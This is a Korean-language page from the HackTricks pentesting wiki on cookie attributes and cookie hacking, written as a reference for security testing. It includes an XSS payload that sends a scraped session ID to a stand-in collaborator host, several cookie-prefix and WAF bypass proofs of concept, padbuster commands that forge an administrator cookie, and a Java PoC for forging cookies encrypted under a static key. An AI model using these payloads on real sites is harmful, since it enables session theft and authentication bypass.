쿠키 해킹
Reading time: 19 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
쿠키 속성
쿠키에는 사용자의 브라우저에서 동작을 제어하는 여러 속성이 있습니다. 다음은 이러한 속성들에 대한 정리입니다(수동형 서술로 작성됨):
Expires and Max-Age
쿠키의 만료 날짜는 Expires 속성으로 결정됩니다. 반대로 Max-age 속성은 쿠키가 삭제될 때까지의 초 단위 시간을 정의합니다. 더 현대적인 관행을 반영하기 위해 Max-age를 권장합니다.
Domain
쿠키를 수신할 호스트는 Domain 속성으로 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며 하위 도메인은 포함되지 않습니다. 그러나 Domain 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인간 쿠키 공유가 필요한 시나리오에서 덜 제한적인 옵션이 됩니다. 예를 들어 Domain=mozilla.org로 설정하면 developer.mozilla.org 같은 하위 도메인에서 쿠키에 접근할 수 있습니다.
Path
요청된 URL에 특정 URL 경로가 포함되어야 Cookie 헤더가 전송되는지를 지정하는 속성이 Path 입니다. 이 속성은 / 문자를 디렉터리 구분자로 간주하여 하위 디렉터리에서도 매칭되도록 허용합니다.
Ordering Rules
이름이 같은 두 쿠키가 있을 때 어떤 쿠키를 전송할지는 다음에 따라 결정됩니다:
- 요청된 URL에서 가장 긴 path와 매칭되는 쿠키.
- 경로가 동일한 경우 가장 최근에 설정된 쿠키.
SameSite
SameSite속성은 타사 도메인에서 시작된 요청에 쿠키를 보낼지 여부를 결정합니다. 세 가지 설정을 제공합니다:- Strict: 타사 요청에서는 쿠키 전송을 제한합니다.
- Lax: 타사 웹사이트에서 시작된 GET 요청과 함께 쿠키 전송을 허용합니다.
- None: 모든 타사 도메인에서의 전송을 허용합니다.
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 예상대로 동작하도록 하는 데 도움이 됩니다.
| 요청 유형 | 예시 코드 | 쿠키 전송 시 |
|---|---|---|
| Link | <a href="..."></a> | NotSet*, Lax, None |
| Prerender | <link rel="prerender" href=".."/> | NotSet*, Lax, None |
| Form GET | <form method="GET" action="..."> | NotSet*, Lax, None |
| Form POST | <form method="POST" action="..."> | NotSet*, None |
| iframe | <iframe src="..."></iframe> | NotSet*, None |
| AJAX | $.get("...") | NotSet*, None |
| Image | <img src="..."> | NetSet*, None |
Table from Invicti and slightly modified.
SameSite 속성이 설정된 쿠키는 로그인 세션이 필요한 경우 CSRF 공격을 완화합니다.
*주의: Chrome80 (2019년 2월)부터 cookie에 samesite 속성이 없을 경우의 기본 동작은 lax입니다 (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
이 변경을 적용한 이후 일시적으로, Chrome에서는 SameSite 정책이 없는 쿠키를 첫 2분 동안은 None으로 처리하고 그 이후에는 최상위 교차 사이트 POST 요청에 대해 Lax로 처리합니다.
쿠키 플래그
HttpOnly
이 설정은 클라이언트가 쿠키에 접근하는 것을 방지합니다(예: Javascript에서 document.cookie).
우회 방법
- 페이지가 요청의 응답으로 쿠키를 전송하고 있는 경우(예: PHPinfo 페이지), XSS를 악용하여 해당 페이지로 요청을 보내고 응답에서 쿠키를 탈취할 수 있습니다(예시 참조: https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- 서버의 응답이 전송된 쿠키를 반사하는 경우(해당 HTTP 메서드가 가능할 때) TRACE HTTP 요청으로 우회할 수 있습니다. 이 기법을 Cross-Site Tracking이라고 합니다.
- 현대 브라우저는 JS에서 TRACE 요청 전송을 허용하지 않음으로써 이 기법을 차단합니다. 다만 특정 소프트웨어에서는
\r\nTRACE를TRACE대신 IE6.0 SP2 등에 보내는 식의 우회가 발견된 바 있습니다. - 또 다른 방법은 브라우저의 zero/day 취약점을 악용하는 것입니다.
- Cookie Jar overflow 공격을 수행하여 HttpOnly 쿠키를 덮어쓸 수도 있습니다:
- Cookie Smuggling 공격을 사용하여 이러한 쿠키를 유출(exfiltrate)할 수도 있습니다.
- 서버 측 엔드포인트가 HTTP 응답에서 원시 세션 ID를 그대로 반영하는 경우(예: HTML 주석이나 디버그 블록 내부), XSS gadget을 사용해 해당 엔드포인트를 가져오고 정규식으로 비밀값을 추출한 뒤 유출함으로써 HttpOnly를 우회할 수 있습니다. 예시 XSS 페이로드 패턴:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
요청은 보안 채널(일반적으로 HTTPS)을 통해 전송되는 경우에만 HTTP 요청에 쿠키를 전송합니다.
Cookies Prefixes
__Secure-로 접두된 쿠키는 HTTPS로 보호된 페이지에서 secure 플래그와 함께 설정되어야 합니다.
__Host-로 접두된 쿠키에는 다음 조건들이 충족되어야 합니다:
secure플래그와 함께 설정되어야 합니다.- HTTPS로 보호된 페이지에서 유래해야 합니다.
- 도메인을 지정하는 것이 금지되어 있으므로 서브도메인으로 전송되는 것을 방지합니다.
- 이 쿠키들의 path는
/로 설정되어야 합니다.
__Host-로 접두된 쿠키는 상위 도메인이나 서브도메인으로 전송될 수 없다는 점이 중요합니다. 이러한 제한은 애플리케이션 쿠키를 격리하는 데 도움이 됩니다. 따라서 모든 애플리케이션 쿠키에 __Host- 접두사를 사용하는 것은 보안 및 격리 향상을 위한 좋은 관행으로 간주될 수 있습니다.
Overwriting cookies
따라서 __Host- 접두 쿠키의 보호 중 하나는 서브도메인에서 해당 쿠키를 덮어쓰지 못하게 하는 것입니다. 예를 들어 Cookie Tossing attacks를 방지합니다. 강연 Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper)에서는 파서를 속여 서브도메인에서 __HOST- 접두 쿠키를 설정할 수 있었던 사례가 제시되었는데, 예를 들어 이름 앞이나 앞뒤에 "="를 추가하는 방식 등이 있었습니다:
 (1) (1) (1) (1).png)
또는 PHP에서는 쿠키 이름의 시작 부분에 다른 문자를 추가하면 해당 문자가 언더스코어로 교체되어 __HOST- 쿠키를 덮어쓸 수 있는 경우가 있었습니다:
 (1) (1) (1) (1).png)
Unicode whitespace cookie-name smuggling (prefix forgery)
쿠키 이름 앞에 Unicode 공백 코드 포인트를 추가하여 브라우저와 서버의 파싱 불일치를 악용합니다. 브라우저는 이름이 문자 그대로 __Host-/__Secure-로 시작한다고 보지 않기 때문에 서브도메인에서 설정을 허용합니다. 백엔드가 쿠키 키의 선행 Unicode 공백을 트리밍/정규화하면 보호된 이름을 인식하여 높은 권한의 쿠키를 덮어쓸 수 있습니다.
- PoC from a subdomain that can set parent-domain cookies:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
-
문제를 야기하는 일반적인 백엔드 동작:
-
쿠키 키를 잘라내거나 정규화(trim/normalize)하는 프레임워크. Django에서는 Python의
str.strip()가 광범위한 유니코드 공백 코드 포인트를 제거하여 이름이__Host-name으로 정규화됩니다. -
일반적으로 잘려나가는 코드 포인트에는 다음이 포함됩니다: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).
-
많은 프레임워크는 중복된 쿠키 이름을 “last wins” 방식으로 처리하므로, 공격자가 제어하는 정규화된 쿠키 값이 정당한 값을 덮어씁니다.
-
브라우저별 차이가 중요합니다:
-
Safari는 쿠키 이름에서 다중 바이트 유니코드 공백을 차단합니다(예: U+2000을 거부)지만 많은 백엔드가 제거하는 단일 바이트 U+0085 및 U+00A0은 여전히 허용합니다. 브라우저들 간에 교차 테스트하세요.
-
영향: 신뢰도가 낮은 컨텍스트(서브도메인)에서
__Host-/__Secure-쿠키를 덮어쓸 수 있게 되며, 이는 XSS(반사형일 경우), CSRF 토큰 덮어쓰기, session fixation으로 이어질 수 있습니다. -
전송 중(on-the-wire) vs 서버에서 본 보기 예시 (이름에 U+2000 포함):
Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;
많은 백엔드는 분할/파싱한 뒤 trim을 적용하여 정규화된 __Host-name이 공격자의 값으로 설정됩니다.
구형 $Version=1 cookie splitting on Java backends (prefix bypass)
일부 Java 스택(예: Tomcat/Jetty-style)은 Cookie 헤더가 $Version=1로 시작할 때 여전히 구형 RFC 2109/2965 파싱을 활성화합니다. 이로 인해 서버가 단일 쿠키 문자열을 여러 개의 논리적 쿠키로 재해석하고, 원래 서브도메인에서 설정되었거나 심지어 안전하지 않은 출처에서 설정된 위조된 __Host- 항목을 수용할 수 있습니다.
- PoC forcing legacy parsing:
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
-
Why it works:
-
Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of
__Host-/__Secure-prefix guarantees. -
Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.
Duplicate-name last-wins overwrite primitive
When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two __Host-* names, the attacker-controlled one will typically win.
Detection and tooling
Use Burp Suite to probe for these conditions:
- Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
- Send
$Version=1first in the Cookie header and check if the backend performs legacy splitting/normalization. - Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
- Burp Custom Action to automate this: CookiePrefixBypass.bambda
Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.
Cookies Attacks
If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
Decoding and Manipulating Cookies
Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie.
Session Hijacking
This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.
Session Fixation
In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.
If you found an XSS in a subdomain or you control a subdomain, read:
Session Donation
Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.
If you found an XSS in a subdomain or you control a subdomain, read:
JWT Cookies
Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
Cross-Site Request Forgery (CSRF)
This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.
Empty Cookies
(Check further details in theoriginal research) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
전송된 cookie header의 결과는 a=v1; test value; b=v2;입니다. 흥미롭게도, 이는 이름이 비어 있는 cookie가 설정되어 있을 경우 cookie를 조작할 수 있게 하며, 빈 cookie를 특정 값으로 설정함으로써 다른 cookie들을 제어할 수 있습니다:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
This leads to the browser sending a cookie header interpreted by every web server as a cookie named a with a value b.
Chrome 버그: Unicode Surrogate Codepoint 문제
Chrome에서는 set cookie의 일부로 Unicode surrogate codepoint가 포함되면, document.cookie가 손상되어 이후 빈 문자열을 반환합니다:
document.cookie = "\ud800=meep"
이로 인해 document.cookie는 빈 문자열을 출력하게 되며, 이는 영구적인 손상(corruption)을 의미합니다.
Cookie Smuggling Due to Parsing Issues
(Check further details in theoriginal research) Java (Jetty, TomCat, Undertow) 및 Python (Zope, cherrypy, web.py, aiohttp, bottle, webob)을 포함한 여러 웹 서버는 오래된 RFC2965 지원으로 인해 cookie 문자열을 잘못 처리합니다. 이들은 큰따옴표로 감싼 cookie 값을, 세미콜론(통상적으로 key-value 쌍을 구분함)이 포함되어 있어도 하나의 값으로 읽습니다:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie Injection Vulnerabilities
(Check further details in theoriginal research) 서버에서 쿠키를 잘못 파싱하는 문제, 특히 Undertow, Zope, 그리고 Python의 http.cookie.SimpleCookie 및 http.cookie.BaseCookie를 사용하는 경우는 cookie injection 공격의 기회를 만듭니다. 이러한 서버들은 새 쿠키의 시작을 제대로 구분하지 못해 공격자가 쿠키를 스푸핑할 수 있습니다:
- Undertow는 인용된 값 바로 다음에 세미콜론 없이 새 쿠키가 오기를 기대합니다.
- Zope는 다음 쿠키 파싱을 시작하기 위해 콤마를 찾습니다.
- Python의 cookie 클래스는 공백 문자에서 파싱을 시작합니다.
이 취약점은 cookie 기반 CSRF 보호에 의존하는 웹 애플리케이션에서 특히 위험합니다. 공격자가 스푸프된 CSRF-토큰 쿠키를 주입해 보안 조치를 우회할 수 있기 때문입니다. Python이 중복된 쿠키 이름을 처리할 때 마지막 항목이 이전 항목을 덮어쓰는 방식은 문제를 악화시킵니다. 또한 __Secure- 및 __Host- 쿠키가 안전하지 않은 컨텍스트에서 문제가 될 수 있고, 쿠키가 스푸핑에 취약한 백엔드 서버로 전달될 때 권한 우회로 이어질 수 있습니다.
Cookies $version
WAF Bypass
According to this blogpost, 백엔드가 RFC2109 때문에 쿠키를 파싱할 때 오래된 로직을 사용하도록 만들기 위해 쿠키 속성 $Version=1 을 사용할 수 있을 가능성이 있습니다. 또한 $Domain, $Path 같은 다른 값들도 쿠키로 백엔드의 동작을 변경하는 데 사용될 수 있습니다.
Cookie Sandwich Attack
According to this blogpost cookie sandwich technique을 사용해 HttpOnly 쿠키를 탈취할 수 있습니다. 요구 조건과 단계는 다음과 같습니다:
- 응답에 겉보기에 쓸모없는 cookie가 반영(reflected)되는 위치를 찾습니다.
- 더 특정한 경로(path)를 갖도록 하여 초기 위치를 차지하게끔 값이
1인$Version이라는 cookie를 생성합니다 (XSS공격에서JS로 이것을 만들 수 있습니다). (일부 프레임워크, 예: python에서는 이 단계가 필요하지 않습니다.) - 반영되는 cookie를 생성하되 값이 열린 큰따옴표를 남기고, 특정 경로를 지정해 이전에 만든 (
$Version) 쿠키 다음에 쿠키 DB에 위치하게 합니다. - 그러면 정상 쿠키는 순서상 그 다음에 오게 됩니다.
- 값 안에 큰따옴표를 닫는 더미 쿠키(dummy cookie)를 생성합니다.
이렇게 하면 피해자의 쿠키가 새 버전의 cookie 내부에 갇히게 되고 해당 쿠키가 반영될 때마다 함께 반영됩니다. e.g. from the post:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF 우회
Cookies $version
이전 섹션을 확인하세요.
quoted-string encoding을 이용한 value 분석 우회
이 파싱은 cookies 내부의 이스케이프된 값을 언이스케이프(unescape)하도록 지시하므로 "\a"는 "a"가 됩니다. 이는 WAFS를 우회하는 데 유용할 수 있습니다:
eval('test') => forbidden"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
cookie-name blocklists 우회
RFC2109에는 comma가 cookie 값들 사이의 구분자로 사용될 수 있다고 명시되어 있습니다. 또한 등호(=) 앞뒤에 공백과 탭을 추가하는 것이 가능합니다. 따라서 $Version=1; foo=bar, abc = qux 같은 cookie는 "foo":"bar, admin = qux"라는 cookie를 생성하지 않고, 대신 foo":"bar"와 "admin":"qux"라는 두 cookie를 생성합니다. 2개의 cookie가 생성되는 방식과 admin의 등호 앞뒤 공백이 제거되는 것을 주목하세요.
cookie splitting을 이용한 value 분석 우회
마지막으로, 서로 다른 backdoors가 서로 다른 cookie headers에 전달된 서로 다른 cookies를 하나의 문자열로 결합할 수 있습니다. 예:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
이는 다음 예와 같이 WAF를 bypass할 수 있습니다:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
추가 취약한 Cookies 점검
기본 검사
- cookie가 로그인할 때마다 같은지 확인하세요.
- 로그아웃한 뒤 동일한 cookie를 사용해 보세요.
- 동일한 계정에 대해 2대의 디바이스(또는 브라우저)에서 동일한 cookie로 로그인해 보세요.
- cookie에 어떤 정보가 포함되어 있는지 확인하고 수정해 보세요.
- 거의 동일한 username으로 여러 계정을 만들어 유사점이 있는지 확인하세요.
- 존재한다면 "remember me" 옵션이 어떻게 동작하는지 확인하세요. 취약할 가능성이 있다면 항상 다른 cookie 없이 remember me의 cookie만 사용하세요.
- 비밀번호를 변경한 후에도 이전 cookie가 작동하는지 확인하세요.
고급 cookies 공격
로그인할 때 cookie가 동일하거나 거의 동일하다면, 해당 cookie가 계정의 어떤 필드(아마도 username)와 연관되어 있을 가능성이 큽니다. 그런 경우 다음을 시도할 수 있습니다:
- 매우 유사한 username을 가진 많은 계정을 생성해 알고리즘이 어떻게 동작하는지 추측해 보세요.
- bruteforce the username를 시도하세요. cookie가 단지 username에 대한 인증 수단으로만 저장된다면, username을 "Bmin"으로 계정을 생성하고 cookie의 모든 bit를 bruteforce할 수 있습니다 — 시도할 cookie들 중 하나는 "admin"에게 속한 cookie일 것입니다.
- Padding Oracle을 시도해 보세요 (cookie의 내용을 복호화할 수 있습니다). padbuster를 사용하세요.
Padding Oracle - Padbuster examples
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster는 여러 번 시도한 뒤 어떤 조건이 오류 조건인지(유효하지 않은 것)를 묻습니다.
그다음에 decrypting the cookie를 시작합니다(몇 분 걸릴 수 있습니다).
공격이 성공적으로 수행되었다면, 원하는 문자열을 encrypt해볼 수 있습니다. 예를 들어, encrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
이 실행은 문자열 user=administrator 를 포함한 쿠키를 올바르게 암호화하고 인코딩된 상태로 제공합니다.
CBC-MAC
쿠키에 어떤 값이 들어있고 CBC를 사용해 서명되었을 수도 있습니다. 이 경우 값의 무결성은 같은 값으로 CBC를 사용해 생성한 서명이 됩니다. IV로 널 벡터(null vector)를 사용하는 것이 권장되기 때문에, 이러한 무결성 검사는 취약할 수 있습니다.
The attack
- username administ 의 서명을 얻는다 = t
- username rator\x00\x00\x00 XOR t 의 서명을 얻는다 = t'
- 쿠키에 값 administrator+t' 를 설정한다 (t' 는 (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 의 유효한 서명이 된다)
ECB
쿠키가 ECB로 암호화되어 있다면 취약할 수 있습니다.
로그인할 때 받는 쿠키는 항상 동일해야 합니다.
How to detect and attack:
거의 동일한 데이터 (username, password, email 등)를 가진 사용자 2명을 생성하고 발급된 쿠키에서 패턴을 찾아보세요
예를 들어 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 라는 사용자 계정을 만들고 쿠키에 패턴이 있는지 확인하세요 (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
블록 크기만큼의 패턴이 보여야 합니다. So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
Static-key cookie forgery (symmetric encryption of predictable IDs)
Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.
How to test/forge
- Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
- Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
- Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
- Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) used in the wild
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;
public class App {
private String ideaKey = "1234567890123456"; // example static key
public String encode(char[] plainArray) { return encode(new String(plainArray)); }
public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}
public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}
public void setKey(String key) { this.ideaKey = key; }
}
참고자료
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://blog.ankursundara.com/cookie-bugs/
- https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
- https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- https://seclists.org/webappsec/2006/q2/181
- https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
- Burp Custom Action – CookiePrefixBypass.bambda
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks